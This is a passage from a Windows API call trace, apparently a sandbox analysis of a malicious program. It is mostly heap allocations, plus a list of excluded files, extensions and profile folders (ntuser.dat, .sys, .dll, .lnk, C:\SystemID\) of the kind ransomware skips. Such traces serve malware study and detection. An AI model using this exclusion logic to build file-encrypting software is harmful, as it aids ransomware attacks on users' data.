0x398e5d8 [0115.192] GetLastError () returned 0x0 [0115.193] SetLastError (dwErrCode=0x0) [0115.193] GetLastError () returned 0x0 [0115.193] SetLastError (dwErrCode=0x0) [0115.193] GetLastError () returned 0x0 [0115.193] SetLastError (dwErrCode=0x0) [0115.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3946f00 [0115.193] GetLastError () returned 0x0 [0115.193] SetLastError (dwErrCode=0x0) [0115.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3946f28 [0115.193] GetLastError () returned 0x0 [0115.193] SetLastError (dwErrCode=0x0) [0115.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3946f50 [0115.193] GetLastError () returned 0x0 [0115.193] SetLastError (dwErrCode=0x0) [0115.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3946f78 [0115.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x3f0) returned 0x39541c8 [0115.193] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3948e10 | out: hHeap=0xd10000) returned 1 [0115.193] GetLastError () returned 0x0 [0115.193] SetLastError (dwErrCode=0x0) [0115.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3946fa0 [0115.193] GetLastError () returned 0x0 [0115.193] SetLastError (dwErrCode=0x0) [0115.193] GetLastError () returned 0x0 [0115.193] SetLastError (dwErrCode=0x0) [0115.193] GetLastError () returned 0x0 [0115.193] SetLastError (dwErrCode=0x0) [0115.193] GetLastError () returned 0x0 [0115.193] SetLastError (dwErrCode=0x0) [0115.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3946fc8 [0115.193] GetLastError () returned 0x0 [0115.194] SetLastError (dwErrCode=0x0) [0115.194] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3946ff0 [0115.194] GetLastError () returned 0x0 [0115.194] SetLastError (dwErrCode=0x0) [0115.194] GetLastError () returned 0x0 [0115.194] SetLastError (dwErrCode=0x0) [0115.194] GetLastError () returned 0x0 [0115.194] SetLastError (dwErrCode=0x0) [0115.194] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398e6b8 [0115.194] GetLastError () returned 0x0 [0115.194] SetLastError (dwErrCode=0x0) [0115.194] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398e990 [0115.194] GetLastError () returned 0x0 [0115.194] SetLastError (dwErrCode=0x0) [0115.194] GetLastError () returned 0x0 [0115.194] SetLastError (dwErrCode=0x0) [0115.194] GetLastError () returned 0x0 [0115.194] SetLastError (dwErrCode=0x0) [0115.194] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947018 [0115.194] GetLastError () returned 0x0 [0115.194] SetLastError (dwErrCode=0x0) [0115.194] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947040 [0115.194] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x5e8) returned 0x39372e8 [0115.194] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0115.194] GetLastError () returned 0x0 [0115.194] SetLastError (dwErrCode=0x0) [0115.194] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947068 [0115.194] GetLastError () returned 0x0 [0115.194] SetLastError (dwErrCode=0x0) [0115.195] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947090 [0115.195] GetLastError () returned 0x0 [0115.195] SetLastError (dwErrCode=0x0) [0115.195] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39470b8 [0115.195] GetLastError () returned 0x0 [0115.195] SetLastError (dwErrCode=0x0) [0115.195] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39470e0 [0115.195] GetLastError () returned 0x0 [0115.195] SetLastError (dwErrCode=0x0) [0115.195] GetLastError () returned 0x0 [0115.195] SetLastError (dwErrCode=0x0) [0115.195] GetLastError () returned 0x0 [0115.195] SetLastError (dwErrCode=0x0) [0115.195] GetLastError () returned 0x0 [0115.195] SetLastError (dwErrCode=0x0) [0115.195] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947108 [0115.195] GetLastError () returned 0x0 [0115.195] SetLastError (dwErrCode=0x0) [0115.195] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947130 [0115.195] GetLastError () returned 0x0 [0115.195] SetLastError (dwErrCode=0x0) [0115.195] GetLastError () returned 0x0 [0115.195] SetLastError (dwErrCode=0x0) [0115.195] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398e920 [0115.195] GetLastError () returned 0x0 [0115.195] SetLastError (dwErrCode=0x0) [0115.195] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398e9c8 [0115.195] GetLastError () returned 0x0 [0115.195] SetLastError (dwErrCode=0x0) [0115.195] GetLastError () returned 0x0 [0115.195] SetLastError (dwErrCode=0x0) [0115.196] GetLastError () returned 0x0 [0115.196] SetLastError (dwErrCode=0x0) [0115.196] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947158 [0115.196] GetLastError () returned 0x0 [0115.196] SetLastError (dwErrCode=0x0) [0115.196] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947180 [0115.196] GetLastError () returned 0x0 [0115.196] SetLastError (dwErrCode=0x0) [0115.196] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39471a8 [0115.196] GetLastError () returned 0x0 [0115.196] SetLastError (dwErrCode=0x0) [0115.196] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39471d0 [0115.196] GetLastError () returned 0x0 [0115.196] SetLastError (dwErrCode=0x0) [0115.196] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39471f8 [0115.196] GetLastError () returned 0x0 [0115.196] SetLastError (dwErrCode=0x0) [0115.196] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947220 [0115.196] GetLastError () returned 0x0 [0115.196] SetLastError (dwErrCode=0x0) [0115.196] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8d0) returned 0x3956398 [0115.196] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39372e8 | out: hHeap=0xd10000) returned 1 [0115.196] GetLastError () returned 0x0 [0115.196] SetLastError (dwErrCode=0x0) [0115.196] GetLastError () returned 0x0 [0115.196] SetLastError (dwErrCode=0x0) [0115.196] GetLastError () returned 0x0 [0115.196] SetLastError (dwErrCode=0x0) [0115.196] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947248 [0115.196] GetLastError () returned 0x0 [0115.196] SetLastError (dwErrCode=0x0) [0115.197] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947270 [0115.197] GetLastError () returned 0x0 [0115.197] SetLastError (dwErrCode=0x0) [0115.197] GetLastError () returned 0x0 [0115.197] SetLastError (dwErrCode=0x0) [0115.197] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea00 [0115.197] GetLastError () returned 0x0 [0115.197] SetLastError (dwErrCode=0x0) [0115.197] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea38 [0115.197] GetLastError () returned 0x0 [0115.197] SetLastError (dwErrCode=0x0) [0115.197] GetLastError () returned 0x0 [0115.197] SetLastError (dwErrCode=0x0) [0115.197] GetLastError () returned 0x0 [0115.197] SetLastError (dwErrCode=0x0) [0115.197] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947298 [0115.197] GetLastError () returned 0x0 [0115.197] SetLastError (dwErrCode=0x0) [0115.197] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39472c0 [0115.197] GetLastError () returned 0x0 [0115.197] SetLastError (dwErrCode=0x0) [0115.197] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39472e8 [0115.197] GetLastError () returned 0x0 [0115.197] SetLastError (dwErrCode=0x0) [0115.197] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947310 [0115.197] GetLastError () returned 0x0 [0115.197] SetLastError (dwErrCode=0x0) [0115.197] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947338 [0115.197] GetLastError () returned 0x0 [0115.197] SetLastError (dwErrCode=0x0) [0115.197] GetLastError () returned 0x0 [0115.198] SetLastError (dwErrCode=0x0) [0115.198] GetLastError () returned 0x0 [0115.198] SetLastError (dwErrCode=0x0) [0115.198] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3964848 | out: hHeap=0xd10000) returned 1 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x814) returned 0x3956c70 [0115.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x3956c70, cchWideChar=1034 | out: lpWideCharStr="ntuser.dat") returned 11 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x3957490 [0115.198] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3956c70 | out: hHeap=0xd10000) returned 1 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18) returned 0xdc63b0 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.198] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.198] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81e) returned 0x3957cb8 [0115.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x3957cb8, cchWideChar=1039 | out: lpWideCharStr="ntuser.dat.LOG1") returned 16 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39584e0 [0115.198] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3957cb8 | out: hHeap=0xd10000) returned 1 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.198] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdc63b0 | out: hHeap=0xd10000) returned 1 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eaa8 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.198] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.198] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eaa8 | out: hHeap=0xd10000) returned 1 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81e) returned 0x3957cb8 [0115.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x3957cb8, cchWideChar=1039 | out: lpWideCharStr="ntuser.dat.LOG2") returned 16 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x3958d08 [0115.198] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3957cb8 | out: hHeap=0xd10000) returned 1 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x48) returned 0x395f0c8 [0115.198] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.198] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.198] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.199] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x814) returned 0x3956c70 [0115.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x3956c70, cchWideChar=1034 | out: lpWideCharStr="ntuser.pol") returned 11 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x3957cb8 [0115.199] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3956c70 | out: hHeap=0xd10000) returned 1 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb0c8 [0115.199] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395f0c8 | out: hHeap=0xd10000) returned 1 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.199] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.199] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x808) returned 0x39541c8 [0115.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x39541c8, cchWideChar=1028 | out: lpWideCharStr=".sys") returned 5 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x3956c70 [0115.199] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39407d8 [0115.199] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb0c8 | out: hHeap=0xd10000) returned 1 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.199] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.199] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x808) returned 0x39541c8 [0115.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x39541c8, cchWideChar=1028 | out: lpWideCharStr=".ini") returned 5 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x3959530 [0115.199] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.199] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.199] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x808) returned 0x39541c8 [0115.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x39541c8, cchWideChar=1028 | out: lpWideCharStr=".DLL") returned 5 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x3959d48 [0115.199] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0115.199] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd8) returned 0x38d04c0 [0115.200] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39407d8 | out: hHeap=0xd10000) returned 1 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.200] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.200] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x808) returned 0x39541c8 [0115.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x39541c8, cchWideChar=1028 | out: lpWideCharStr=".dll") returned 5 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x395a560 [0115.200] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.200] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.200] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x808) returned 0x39541c8 [0115.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x39541c8, cchWideChar=1028 | out: lpWideCharStr=".blf") returned 5 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x395ad78 [0115.200] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.200] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.200] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x808) returned 0x39541c8 [0115.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x39541c8, cchWideChar=1028 | out: lpWideCharStr=".bat") returned 5 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x395b590 [0115.200] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x138) returned 0x3943d68 [0115.200] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d04c0 | out: hHeap=0xd10000) returned 1 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.200] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.200] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x808) returned 0x39541c8 [0115.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x39541c8, cchWideChar=1028 | out: lpWideCharStr=".lnk") returned 5 [0115.200] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x395bda8 [0115.201] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.201] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.201] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x818) returned 0x395c5c0 [0115.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x395c5c0, cchWideChar=1036 | out: lpWideCharStr=".regtrans-ms") returned 13 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x3992fe8 [0115.201] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395c5c0 | out: hHeap=0xd10000) returned 1 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.201] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.201] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x818) returned 0x395c5c0 [0115.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x395c5c0, cchWideChar=1036 | out: lpWideCharStr="C:\\SystemID\\") returned 13 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x3993810 [0115.201] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395c5c0 | out: hHeap=0xd10000) returned 1 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.201] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.201] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x82c) returned 0x395c5c0 [0115.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x395c5c0, cchWideChar=1046 | out: lpWideCharStr="C:\\Users\\Default User\\") returned 23 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x3994038 [0115.201] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395c5c0 | out: hHeap=0xd10000) returned 1 [0115.201] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1c8) returned 0x396be78 [0115.201] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3943d68 | out: hHeap=0xd10000) returned 1 [0115.201] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.202] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.202] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x395c5c0 [0115.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x395c5c0, cchWideChar=1040 | out: lpWideCharStr="C:\\Users\\Public\\") returned 17 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x3994870 [0115.202] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395c5c0 | out: hHeap=0xd10000) returned 1 [0115.202] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.202] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.202] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x826) returned 0x395c5c0 [0115.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x395c5c0, cchWideChar=1043 | out: lpWideCharStr="C:\\Users\\All Users\\") returned 20 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39950a8 [0115.202] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395c5c0 | out: hHeap=0xd10000) returned 1 [0115.202] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.202] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.202] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x822) returned 0x395c5c0 [0115.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x395c5c0, cchWideChar=1041 | out: lpWideCharStr="C:\\Users\\Default\\") returned 18 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39958e0 [0115.202] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395c5c0 | out: hHeap=0xd10000) returned 1 [0115.202] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.202] RtlAllocateHeap (HeapHandle=0xd10000, 